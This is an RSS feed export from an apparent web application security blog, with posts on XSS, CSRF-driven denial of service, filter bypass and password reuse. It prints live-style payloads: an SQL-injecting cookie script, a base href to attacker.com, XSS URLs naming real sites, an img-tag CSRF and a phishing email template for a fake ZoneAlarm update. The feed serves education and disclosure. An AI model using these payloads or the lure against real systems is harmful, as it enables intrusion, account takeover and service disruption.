<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zoiz Blog &#187; Concept</title>
	<atom:link href="http://zoiz.web.id/category/concept/feed" rel="self" type="application/rss+xml" />
	<link>http://zoiz.web.id</link>
	<description>Was a Web Application Security Blog</description>
	<lastBuildDate>Tue, 17 Aug 2010 05:57:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>SQL Injection using XSS</title>
		<link>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html</link>
		<comments>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html#comments</comments>
		<pubDate>Mon, 11 Aug 2008 16:47:28 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=112</guid>
		<description><![CDATA[It&#8217;s been couple of weeks since my last post. I&#8217;ve been very busy managing my newly set up company. And I think it&#8217;s time to post another (lame) article right here on this very (lame) blog. After reading &#8220;Thousand Ways to SQL Injection&#8220;, people started to ask me whether it is possible to launch a [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been couple of weeks since my last post. I&#8217;ve been very busy managing my newly set up company. And I think it&#8217;s time to post another (lame) article right here on this very (lame) blog.</p>
<p>After reading &#8220;<a href="http://zoiz.web.id/tips/thousand-ways-to-sql-injection-a-tutorial-via-cookie-and-useragent-etc.html" target="_blank">Thousand Ways to SQL Injection</a>&#8220;, people started to ask me whether it is possible to launch a SQL injection using XSS? Some of them questioned me about the possiblity of it, some of them don&#8217;t even believe it&#8217;s possible. And well some of them say that&#8217;s gonna happen but don&#8217;t know how or never came accross one.</p>
<p>Let&#8217;s take a look at the following &#8216;fictive&#8217; (and lame) scenario of SQL Injection using XSS :</p>
<p>As we know that site abc.com uses GoodGoodCMS_v1.0 as their Content Management System. Mr. Z, the attacker, found out that GoodGoodCMS has a XSS flaw on the admin page. But well there is nothing much to exploit since GoodGoodCMS doesn&#8217;t uses Cookies as the authentication method. But Mr. Z did found out that the GoodGoodCMS uses Cookies values in SQL Query without a proper filter.</p>
<p>Guess what? Mr. Z pull a XSS and insert something like this:</p>
<p>&lt;script&gt;document.cookies=&#8221;1; UPDATE admin_table SET password=\&#8217;yihaa\&#8217; WHERE id=1&#8243;;&lt;/script&gt;</p>
<p>This is my concept of SQL Injection using XSS. Correct me if I am wrong, and you are very welcome to shout your ideas about this topic here.</p>
<p>Thanks</p>
<p>Zoiz &#8211; http://zoiz.web.id</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/sql-injection/sql-injection-using-xss.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Bypass Anti XSS Filter : A Little Nice XSS Trick</title>
		<link>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html</link>
		<comments>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html#comments</comments>
		<pubDate>Wed, 16 Jul 2008 04:52:13 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[Bypass Anti XSS Filter]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=111</guid>
		<description><![CDATA[Sometimes when I develop web applications, I&#8217;ll feel not good if I am asked to allow HTML in user inputs / outputs. What scares me? XSS I think. This morning I received an interesting email from webappsec.org mailing list. Amit Klein founds out that he can trigger a XSS without a &#60;script&#62; tag NOR inside [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes when I develop web applications, I&#8217;ll feel not good if I am asked to allow HTML in user inputs / outputs. What scares me? <a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> I think.</p>
<p>This morning I received an interesting email from <a href="http://www.webappsec.org" target="_blank">webappsec.org</a> mailing list. Amit Klein founds out that he can trigger a <a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> without a &lt;script&gt; tag NOR inside ONE. Here is the PoC :</p>
<blockquote><p>&lt;html&gt;<br />
&#8230;<br />
***XSS code may be embedded here***<br />
&#8230;<br />
&lt;script src=&#8221;/foo/bar.js&#8221;&gt;&lt;/script&gt;<br />
&#8230;<br />
&lt;/html&gt;</p></blockquote>
<p>The XSS is something like this :<span id="more-111"></span></p>
<blockquote><p>&lt;base href=&#8221;http://www.attacker.com/&#8221;&gt;</p></blockquote>
<p>And the attacker should put some JS on his host on the exact directory (ex : http://www.attacker.com/foo/bar.js). You know what happens next rite? <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>The coolest part of this XSS is it doesn&#8217;t even need a &lt;script&gt; tag or something like that. And for developers that uses / trusts blacklist approach (oranglist, greenlist, pinklist, or what ever you name it) that is usually targeting for &#8220;script&#8221;, this kind of attacks will surely bypass it.</p>
<p>Nice one Amit Klein <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>So, what is the solution? Myself suggest you not to allow your users to use HTML <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/bypass-anti-xss-filter-a-little-nice-xss-trick.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Base64 Encoded XSS</title>
		<link>http://zoiz.web.id/xss-corner/base64-encoded-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/base64-encoded-xss.html#comments</comments>
		<pubDate>Thu, 29 May 2008 16:42:00 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=104</guid>
		<description><![CDATA[This is rare, but there is one. A live XSS out there on one of Yahoo!&#8217;s portal (Found by Lokipaki). And the XSS is base64 encoded. When I tried the XSS myself, I felt a little shocked because this XSS actually bypassed No-Script plugin. Here is the Proof of Concept : http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html Result : XSS [...]]]></description>
			<content:encoded><![CDATA[<p>This is rare, but there is one. A live XSS out there on one of Yahoo!&#8217;s portal (Found by Lokipaki). And the XSS is base64 encoded. When I tried the XSS myself, I felt a little shocked because this XSS actually bypassed No-Script plugin.</p>
<p>Here is the Proof of Concept :</p>
<p>http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html<a href="http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html" target="_blank"><br />
</a></p>
<p>Result :</p>
<p>XSS on Yahoo over No-Script plugin. It&#8217;s a triple kill! I know Yahoo! is in the No-Script white-list, but I thought No-Script was supposed to block this XSS anyway. What do you think?</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/base64-encoded-xss.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Browser Based Distributed Denial Of Service (DDoS)</title>
		<link>http://zoiz.web.id/concept/browser-based-distributed-denial-of-service-ddos.html</link>
		<comments>http://zoiz.web.id/concept/browser-based-distributed-denial-of-service-ddos.html#comments</comments>
		<pubDate>Fri, 23 May 2008 15:58:49 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[Denial Of Service]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[DoS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=103</guid>
		<description><![CDATA[I&#8217;ve been very busy doing some project out there and so I can barely have time thinking or doing something new. Now I am back here again to share my ideas on this very little blog. This time I will talk about Browser Based Distributed Denial Of Service. This might not be a new topic [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been very busy doing some project out there and so I can barely have time thinking or doing something new. Now I am back here again to share my ideas on this very little blog. This time I will talk about Browser Based Distributed Denial Of Service.</p>
<p>This might not be a new topic here, but I found out that my visitors are hardly interested with this topic. And I ever discussed this with <a href="http://ha.ckers.org" target="_blank">RSnake</a> a little bit, and he seems to be not interested too. I&#8217;ll use this article to show you the &#8220;yo&#8221; side of a browser based DDoS payloads.</p>
<p>If you haven&#8217;t read my previous articles, you might be interested to take a peek on them.</p>
<ul>
<li><a href="http://zoiz.web.id/concept/csrf-to-launch-denial-of-service.html" target="_blank">Using CSRF to launch Denial Of Service</a>, or</li>
<li><a href="http://zoiz.web.id/concept/csfr-on-xml-sitemapscom-denial-of-service.html" target="_blank">CSRF on SiteMap Generator Site = Denial Of Service</a></li>
</ul>
<p>The point / main purpose of using <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> to <a href="http://zoiz.web.id/category/denial-of-service" target="_blank">Denial Of Service</a> is the attacker uses your browser capability to do malicious request without you knowingly to launch a Denial Of Service to one or more targeted victims.  Thus you might become the zombie computer by simply visiting a malicious site.</p>
<p>It&#8217;s not without prove. This morning I tried to launch a DoS to one of my site. And the result was within 5 minutes, I got a warning that telling that my site was suspended due to CPU usage exceeded. And it was down for approximately 10 minutes. And when I took a look into the log, I notice that actually this technique execute &gt;4500 pages from my site within a few minutes. How is the payload? Here is the screenshot :</p>
<p><img style="vertical-align: middle;" src="http://zoiz.web.id/images/dos_3.jpg" alt="Browser Based Denial Of Service " width="337" height="331" /></p>
<p>And my site was suspended as the result :</p>
<p><img style="vertical-align: middle;" src="http://zoiz.web.id/images/down.JPG" alt="DEnial Of Service take down my site" /></p>
<p>So next time you visit new sites, please take more cautious. Browse the Net using <a href="https://addons.mozilla.org/en-US/firefox/addon/722" target="_blank">No-Script</a> is very recommended.</p>
<p>Thanks!</p>
<p>By : Zoiz &#8211; <a href="http://zoiz.web.id">http://zoiz.web.id<br />
Nothing is Secure</a></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/concept/browser-based-distributed-denial-of-service-ddos.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CSRF to DoS</title>
		<link>http://zoiz.web.id/concept/csrf-to-launch-denial-of-service.html</link>
		<comments>http://zoiz.web.id/concept/csrf-to-launch-denial-of-service.html#comments</comments>
		<pubDate>Wed, 14 May 2008 02:29:58 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[Denial Of Service]]></category>
		<category><![CDATA[DoS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=102</guid>
		<description><![CDATA[If you have read my previous article about CSRF on SiteMap Engine to launch a Denial Of Service (Sorry for my noob-ness that I targeted DoS to exhaust server bandwith). This time I am going to show you how to launch a DoS using CSRF that will burden the server load. Here the story goes [...]]]></description>
			<content:encoded><![CDATA[<p>If you have read my previous article about <a href="http://zoiz.web.id/concept/csfr-on-xml-sitemapscom-denial-of-service.html" target="_blank">CSRF on SiteMap Engine to launch a Denial Of Service</a> (Sorry for my noob-ness that I targeted <a href="http://zoiz.web.id/tag/dos" target="_blank">DoS</a> to exhaust server bandwith). This time I am going to show you how to launch a <a href="http://zoiz.web.id/tag/dos" target="_blank">DoS</a> using <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> that will burden the server load.</p>
<p>Here the story goes :<span id="more-102"></span></p>
<p>Site ABC is an online electronic devices store. It has a search form that uses GET requests. Let say the URL to search for keyword &#8220;tv&#8221; is this : http://www.abc.com/?q=tv.</p>
<p>PoC :</p>
<p>&lt;img src=&#8221;http://www.abc.com/?q=tv&#8221; height=&#8221;1&#8243; width=&#8221;1&#8243;/&gt;</p>
<p>Each page load from the CSRF inserted page will exhaust the targeted server load. Feedback or critics are welcomed.</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/concept/csrf-to-launch-denial-of-service.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Critical Vulnerability on ZoneAlarm.Com</title>
		<link>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html</link>
		<comments>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html#comments</comments>
		<pubDate>Fri, 04 Apr 2008 03:10:22 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=93</guid>
		<description><![CDATA[Do you know or have you ever used ZoneAlarm, a product from Check Point Software Technology? ZoneAlarm is one of the most secure brands in End User Internet Security software. It’s developed by Check Point Software Technology Company. It protects over 60 million PCs from viruses, spy-wares, hackers and identity thefts. The award-winning Internet Security [...]]]></description>
			<content:encoded><![CDATA[<p>Do you know or have you ever used <a href="http://zonealarm.com" target="_blank">ZoneAlarm</a>, a product from Check Point Software Technology?</p>
<p class="MsoNormal">ZoneAlarm is one of the most secure brands in End User Internet Security software. It’s developed by Check Point Software Technology Company. It protects over 60 million PCs from viruses, spy-wares, hackers and identity thefts. The award-winning Internet Security product line is installed in end users PCs and small businesses, protecting them from Internet threats.</p>
<p class="MsoNormal">Although Check Point Company provides Internet Security service, but their web system is not 100% secure at all. I have found some critical vulnerabilities even on their own official site!! <span id="more-93"></span></p>
<p class="MsoNormal"><span>Although they are Internet Security Software developer, </span><span>that protects million of PCs from viruses, hackers, and identity thefts. But they cannot even protect their own website from web application attacks. It’s already proofed today. There are some critical <a title="Cross Site Scripting" href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> and <a title="Cross Site Request Forgery" href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> vulnerability found by <a href="http://insecurityexposed.net" target="_blank">YS</a>.</span></p>
<p class="MsoNormal">Let me start it:</p>
<p class="MsoNormal">Yesterday, I visited one of an internet café to check my emails. Each computer was installed with ZoneAlarm Software. Suddenly, a small window prompt out and reminded me to update my ZoneAlarm software.</p>
<p class="MsoNormal">I followed the instruction and was updated the ZoneAlarm software by clicking the update button. I was brought to their update page. Suddenly, a &#8220;bad idea&#8221; came into my mind.. Hehe</p>
<p class="MsoNormal">“This is a internet security website, does this security website is really secure from web application attack such as <span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a></span> and CSRF?”, I asked myself.</p>
<p><span>After that, I tried to use javascript to test whether the website has an </span><span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a> </span><span>vulnerability… Ding !! BIngo, ZoneAlarm </span><span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS</a></span><span>ed! <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </span></p>
<p class="MsoNormal"><a title="Zone Alarm XSS 2" href="http://zoiz.web.id/images/zone-alarm-xss2-by-ys.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zone-alarm-xss2-by-ys.JPG" alt="Zone Alarm XSS" width="360" height="211" /></a></p>
<p class="MsoNormal">XSS is stored on Session</p>
<p><a title="Zone Alarm XSS 1" href="http://zoiz.web.id/images/zone-alarm-xss-by-ys.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zone-alarm-xss-by-ys.JPG" alt="ZoneAlarm XSS" width="360" height="200" /></a></p>
<p class="MsoNormal">XSS vulnerability on the shopping cart page:</p>
<p class="MsoNormal"><a title="XSS Cookie Theft" href="http://zoiz.web.id/images/zat4.JPG" target="_blank"><img style="vertical-align: middle;" src="http://zoiz.web.id/images/zat4.JPG" alt="XSS Cookie Theft" width="360" height="270" /></a></p>
<p class="MsoNormal">Display Cookie using XSS</p>
<p class="MsoNormal">This <span><a href="http://zoiz.web.id/category/xss-corner" target="_blank">XSS Vulnerability</a></span> can be considered as critical. Because this XSS is triggered when a user trying to update ZoneAlarm software. An attacker can easiliy smuggler a trojan or a virus into the download link, and let the user download a trojan instead of ZoneAlarm Update File.</p>
<p class="MsoNormal">This can be done easily by combining Social Engineering and trick the victims to open a page containing the XSS. For example an attacker can forge a fake email and send it to ZoneAlarm users, and trick them to update their software through the link the attacker provided.</p>
<blockquote>
<p class="MsoNormal">Dear ZoneAlarm Users,</p>
<p class="MsoNormal">Firstly we are very sorry to inform you that our automatic update system is currently ongoing some technical problem which will be fixed as soon as possible. By the time we are fixing the system, you are unable to update your ZoneAlarm system directly from your PC. But fortunately we you can do it by visiting the update link below to update your ZoneAlarm.</p>
<p class="MsoNormal"><a href="http://zonealarm-xss-link.com" target="_blank">ZoneAlarm Update</a></p>
<p class="MsoNormal">We are sorry for all the inconvenience we&#8217;ve made. And thank your for your support to our product all the time. Bla3&#8230;&#8230;</p>
</blockquote>
<p class="MsoNormal"><a href="http://download.zonealarm.com/abc/xxx/xx=%3cscript%3eevilcode/malware%3c/script"></a></p>
<p class="MsoNormal">Other possibility is the attacker create a redirection link to trick user to download the ZoneAlarm software that has been infected by malicious program through the XSS vulnerable. After the user downloaded it, and install into his/her PC, the big trouble will be occurred such as sensitive information from the user may be stolen, damages the PC, and other problems.</p>
<p class="MsoNormal"><strong>Interesting XSS on the Shopping Cart Section</strong></p>
<p class="MsoNormal">Based on my research, I found out the XSS is being stored on session too!! So that means the XSS vulnerability  may let an attacker injects the malicious script on more pages and takes more advantages too.</p>
<p>I have actually reported this to the associated party, and hope that this can be fixed asap due to it&#8217;s criticality.</p>
<p class="MsoNormal">Bingo!!! This article has told us, “<a href="http://zoiz.web.id" target="_blank">Nothing is Secure</a>”. (Always stated by Zoiz <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  )</p>
<p class="MsoNormal">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p class="MsoNormal">Notice:</p>
<p class="MsoNormal">I want to tell everyone first that &#8220;I&#8217;m not sure, whether those XSS vulnerability has found before or not. From my survey, I didn&#8217;t see those xss vulnerable was posted on other site until now. I have checked at <a href="http://xssed.com" target="_blank">XSSed.com</a>. those XSS vulnerable that i found it&#8217;s not found at the <a href="http://xssed.com" target="_blank">XSSed.com</a> too. But some other xss vulnerable on ZoneAlarm.com has been found by other people and posted at XSSed.com and it&#8217;s said Fixed already too, and it&#8217;s different to mine. Remember this article for educational purpose only.</p>
<p class="MsoNormal">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Bug Found By : YS &#8211; <a href="http://insecurityexposed.net" target="_blank">http://www.insecurityexposed.net</a><br />
Status : Reported on 3rd April 2007, Unfixed.</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/critical-xss-vulnerable-on-zonealarmcom-nothing-is-secure.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Open a Page, Go To Jail</title>
		<link>http://zoiz.web.id/logical/open-a-page-go-to-jail.html</link>
		<comments>http://zoiz.web.id/logical/open-a-page-go-to-jail.html#comments</comments>
		<pubDate>Wed, 02 Apr 2008 16:15:44 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[Logical]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/?p=92</guid>
		<description><![CDATA[Inspired by RSnake article titled : &#8220;Click a Link, Go To Jail&#8221;, I wonder if we will go to jail by simply opening a page? I am not sure whether that will gonna happened or not. But my conclusion says maybe Yes! CSRF will be the answer. I often listen to Era Baru FM Radio [...]]]></description>
			<content:encoded><![CDATA[<p>Inspired by <a href="http://ha.ckers.org/blog/20080320/click-a-link-go-to-jail/" target="_blank">RSnake article titled : &#8220;Click a Link, Go To Jail&#8221;</a>, I wonder if we will go to jail by simply opening a page? I am not sure whether that will gonna happened or not. But my conclusion says maybe Yes! <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> will be the answer.<span id="more-92"></span></p>
<p>I often listen to Era Baru FM Radio especially programs about Human Rights in China. Example : If you (ever or are) practicing in Falun Gong exercise in China, you&#8217;ll be arrested (jailed) by the police and punish severely. Or if you spreading information about any banned content (like Falun Gong, Liberty, etc), you also will be dealt by the local police. Even if you do a search in Baidu.com using the keyword &#8220;falun dafa&#8221;, you&#8217;ll got a temporary ban by the China Firewall. Ridiculous? (What the hell is the Internet for if the information we can have is very limited?? WtF!) If you don&#8217;t believe me, then you can try it yourself!! (Wait a moment, don&#8217;t try this first. I&#8217;ll show you an example in the story below!)</p>
<p>OK enough for the bullshit! Here comes the interested part where <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> is going to play it&#8217;s role <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>In order to become the player in my story, first you need to open <a href="http://www.baidu.com" target="_blank">Baidu.com</a> and search using the keyword &#8220;Zoiz&#8221; and come back to my blog asap!</p>
<p>Done? You got the result page right? Ok, now visit the link below :</p>
<p><a href="http://zoiz.web.id/lab/csrf_againts_china_firewall.html" target="_blank">http://zoiz.web.id/lab/csrf_againts_china_firewall.html</a></p>
<p>Ok, now open Baidu.com again and see what happened? Hehe</p>
<p><strong>Don&#8217;t worry it will only last for 5 minutes and you&#8217;ll be fine later</strong> <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Now you get what I mean? <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  The point is if someone framing you onto opening an illegal link using a <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> technique, will you be arrested? Well of course <strong>the example above will not make you go to jail</strong>, but what if the <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> contain a RFI link to a commercial website or anything far more dangerous? What if an attacker that trick users to open a page containing this kind of <a href="http://zoiz.web.id/category/csrf" target="_blank">CSRF</a> and let users leave visit log everywhere to let him hide his own identity? (<a href="http://ysezone.com/blog/" target="_blank">YS</a> Idea <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  )</p>
<p>I don&#8217;t know the answer, and I&#8217;ll just point it out and let you guys discuss about this <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  This story tells us to be more careful the next time you are browsing the internet.</p>
<p>If you are using Mozilla Firefox, I can recommend you 2 plugins that may lessen the risk from being harm from this kind of attack. The first one is <a href="https://addons.mozilla.org/en-US/firefox/addon/722" target="_blank">No-Script plugin</a>, which will block all script from running. And the second one is <a href="http://firekeeper.mozdev.org/" target="_blank">FireKeeper</a>, which will alert you whenever there&#8217;s malicious code running and ban malicious site.</p>
<p>That&#8217;s all folks!</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/logical/open-a-page-go-to-jail.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>UserAgent XSS</title>
		<link>http://zoiz.web.id/xss-corner/useragent-xss.html</link>
		<comments>http://zoiz.web.id/xss-corner/useragent-xss.html#comments</comments>
		<pubDate>Tue, 25 Mar 2008 02:29:41 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/xss-corner/useragent-xss.html</guid>
		<description><![CDATA[Once you see the title you might have already know what this article is about. Yeah! Injecting some candies into your browser UserAgent might launch a XSS attack. Here&#8217;s how to do it : For those who doesn&#8217;t know how to change user agent information : To change the User Agent string, just enter about:config [...]]]></description>
			<content:encoded><![CDATA[<p>Once you see the title you might have already know what this article is about. Yeah! Injecting some candies into your browser UserAgent might launch a XSS attack. Here&#8217;s how to do it :</p>
<p><span id="more-88"></span></p>
<p>For those who doesn&#8217;t know how to change user agent information :</p>
<p>To change the User Agent string, just enter <code>about:config</code> as an address in the     address bar of FireFox,      Now press the right mouse button to get the context menu and select &#8220;String&#8221; from the menu     entry &#8220;New&#8221;. Enter the preference name &#8220;general.useragent.override&#8221;, without the quotes. Next,     enter the new User Agent value you want Mozilla Firefox to use. (You can also use a FireFox plugin to do this)</p>
<p>This is where the XSS (Cross Site Scripting) play the role. You might enter this :</p>
<p>&lt;script&gt;alert(/XSS/);&lt;/script&gt;</p>
<p>And visit the page you wanted to test, and see what happen <img src='http://zoiz.web.id/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Here is an example vulnerable site for you : http://www.quirksmode.org/js/detect.html</p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/xss-corner/useragent-xss.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Common Bad Habits of a Professional Web Developer</title>
		<link>http://zoiz.web.id/tips/common-bad-habits-of-a-professional-web-developer.html</link>
		<comments>http://zoiz.web.id/tips/common-bad-habits-of-a-professional-web-developer.html#comments</comments>
		<pubDate>Mon, 10 Mar 2008 13:00:45 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[Concept]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Password]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://zoiz.web.id/tips/common-bad-habits-of-a-professional-web-developer.html</guid>
		<description><![CDATA[If you are a web developer, then you must read this. This time I&#8217;ll not talk about any critical vulnerabilities or exploits on a system, CMS, etc. Let&#8217;s talk about a web developer / web master bad habit itself. A bad habit that will lead them to be mass owned. The problem lies within a [...]]]></description>
			<content:encoded><![CDATA[<p>If you are a web developer, then you must read this. This time I&#8217;ll not talk about any critical vulnerabilities or exploits on a system, CMS, etc. Let&#8217;s talk about a web developer / web master bad habit itself. A bad habit that will lead them to be mass owned.</p>
<p>The problem lies within a <a href="http://zoiz.web.id/tag/password" target="_blank">password</a>, a default password. Yes, the <a href="http://zoiz.web.id/tutorials/hacking-telkomspeedy-account.html" target="_blank">default password problem</a> do exists on custom CMS! If you are still confuse of what I am talking about, I&#8217;ll give a REAL LIFE case, but of course I&#8217;ll will not mention the vulnerable sites. I&#8217;ll use example site name instead.</p>
<p>Here the story goes : <span id="more-84"></span></p>
<p>Let&#8217;s say Company X is a group of professional web developers. They have been developing web system for years and are well experienced. Let&#8217;s assume that they have developed 30 sites so far.</p>
<p>And Mr. Z, the attacker is eager to own site V, one of Company X customer.</p>
<p>And so Mr. Z went to site V to take a deep look. But the result shows no significant bugs found. And so he took another approach to try his luck. He went to Company X site and listed all their customers sites. He found out one of their customers site, site Y had a critical SQL Injection vulnerability. He exploited the site until he got all the users Login ID and passwords.</p>
<p>Then he went to site V again, and use the Login ID and passwords from site Y and try to log in to site V. Miracle happened, he successfully logged in to site V administration control panel. He owned site V through site Y.</p>
<p>This is a true story, and happened in our real life. Some web developer companies have some kind of default password for all sites that they developed. I am not sure what is the real purpose, but as my conclusion is that they are too LAZY to remember all the passwords. Because of this bad habits, sometimes mass hacking occurs.</p>
<p>I write this article isn&#8217;t base on no proofs, I ever owned dozen of sites with a single user name and password just like the story above. But I never damage or deface them, it&#8217;s not an ethical act to me.</p>
<p><strong>And my advice to you is, if you are a web developer don&#8217;t take this bad habit or ready to be owned! </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/tips/common-bad-habits-of-a-professional-web-developer.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Massive HTML Injection Vulnerability</title>
		<link>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html</link>
		<comments>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html#comments</comments>
		<pubDate>Sat, 16 Feb 2008 05:14:34 +0000</pubDate>
		<dc:creator>Zoiz</dc:creator>
				<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Concept]]></category>
		<category><![CDATA[IT News]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[XSS Corner]]></category>
		<category><![CDATA[Error Handler]]></category>
		<category><![CDATA[HTML Injection]]></category>
		<category><![CDATA[XSRF]]></category>
		<category><![CDATA[XSS]]></category>

